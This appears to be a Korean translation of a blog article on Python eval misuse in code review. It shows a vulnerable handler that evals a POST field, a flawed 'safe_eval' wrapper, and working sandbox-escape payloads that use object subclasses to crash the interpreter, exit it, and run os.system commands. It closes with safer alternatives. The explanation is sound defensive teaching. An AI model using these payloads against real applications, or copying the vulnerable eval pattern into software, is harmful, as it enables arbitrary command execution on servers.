>  기사  >  백엔드 개발  >  Python 평가의 일반적인 오류 캡슐화 및 활용 원칙 소개

Python 평가의 일반적인 오류 캡슐화 및 활용 원칙 소개

不言
不言앞으로
2019-03-25 10:12:112609검색

이 글은 Python eval의 일반적인 오류 캡슐화 및 활용 원칙을 소개합니다. 필요한 친구가 참고할 수 있기를 바랍니다.

최근 코드 검토 과정에서 eval의 잘못된 사용으로 인해 코드 삽입에 많은 문제가 있음을 발견했습니다. 일반적인 문제는 eval을 구문 분석으로 사용하는 것이고 일부는 eval을 잘못 캡슐화하는 것입니다. 제품 전체를 사용하면 더 심각한 문제가 발생할 수 있습니다. 모두가 제품을 사용할 때 더 주의를 기울여야 합니다.

다음은 실제 제품의 예시입니다. 자세한 내용은 [bug83055][1]을 참조하세요.

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

쿼리는 POST에서 직접 변환되며 사용자가 oper_type=__import__(를 입력하면 직접 제어할 수 있습니다. URL 매개변수 'os').system('sleep 5')에서 sleep 명령을 실행할 수 있습니다. 물론 어떤 시스템 명령이나 실행 가능한 코드도 실행할 수 있습니다. 피해는 분명하므로 무엇인지 살펴보겠습니다. 평가는 어떻게 수행되며 가장 안전한 방법은 무엇입니까?

1. 해야 할 일

간단히 말해서 표현식을 실행하는 것입니다.

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

이 세 가지 코드로 볼 때 첫 번째 코드는 분명히 계산에 사용되며 두 번째 코드는 문자열 형식의 데이터를 Python 데이터 형식으로 변환합니다. . 여기에 dict가 있는데, 이는 우리 제품에서 흔히 발생하는 실수이기도 합니다. 세 번째는 나쁜 소년이 하는 일, 즉 시스템 명령을 실행하는 것입니다.

eval은 eval(source[, globals[, locals]]) -> value

globals는 경로여야 하고 locals는 키-값 쌍이어야 합니다. 기본값은 시스템 전역 및 locals

입니다. 2, 잘못된 캡슐화

(1) 우리 제품 코드 중 하나의 캡슐화 기능을 살펴보거나 [버그][2]를 참조하거나 인터넷에서 순위가 ​​더 높은 코드를 검색해 봅시다. 예:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

Here_ _builtins__ 빈으로 설정되었으므로 __import__와 같은 내장 변수가 사라졌습니다. 이 캡슐화된 함수는 안전한가요? 단계별로 살펴보겠습니다:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

List items

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', ' debug ', ' doc ', ' import ', ' name ', ' package ', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer ' , 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', ' dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr ' , 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', ' len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open ' , 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', ' set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars ' , 'xrange', 'zip']

__builtins__에서 해당 모듈에 OS의 일부 작업을 수행하는 데 사용할 수 있는 __import__가 있음을 확인할 수 있습니다. 공백으로 설정한 후 eval 함수를 실행하면 결과는 다음과 같습니다.

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined

이제 __import__가 정의되지 않아 성공적으로 실행할 수 없다는 메시지가 표시됩니다. 대답은 당연히 틀렸다.

예를 들어 실행은 다음과 같습니다.

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)

여기서 사용자는 함수를 정의합니다. 이 함수 호출은 segfault를 직접 발생시킵니다.

다음 코드는 인터프리터를 종료합니다.

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

전체 프로세스에 대한 예비 이해:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]

이것은 Python 코드의 의미는 Tuple의 클래스를 찾은 다음 해당 기본 클래스인 객체를 찾은 다음 객체를 통해 해당 하위 클래스를 찾는 것입니다. 특정 하위 클래스도 코드의 출력과 동일합니다. 파일 모듈과 zipimporter 모듈이 있다는 것을 알 수 있습니다. 먼저 파일로 시작하세요

사용자가 구성하는 경우:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

이 제한 모드는 단순히 Python 인터프리터의 샌드박스로 이해됩니다. 시스템을 수정할 수 없고 일부 시스템 기능을 사용할 수 없는 등 일부 기능이 제한됩니다. 자세한 내용은 제한된 실행 모드, 이를 우회하는 방법을 참조하세요. 이때 가져온 모듈이 os 모듈을 참조하는 경우 다음 코드와 같이 사용할 수 있다고 생각했습니다.

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0

이것은 지금의 safe_eval이 실제로 안전하지 않다는 것을 증명합니다.

3. 올바르게 사용하는 방법

(1) ast.literal_eval을 사용하세요

(2) 문자를 dict로 변환만 하면 json 형식을 사용할 수 있습니다

이 글은 여기까지이고, 다른 글도 더 흥미진진합니다. , PHP 중국어 웹사이트의 python 동영상 튜토리얼 칼럼을 주목해 보세요!

위 내용은 Python 평가의 일반적인 오류 캡슐화 및 활용 원칙 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 推酷에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제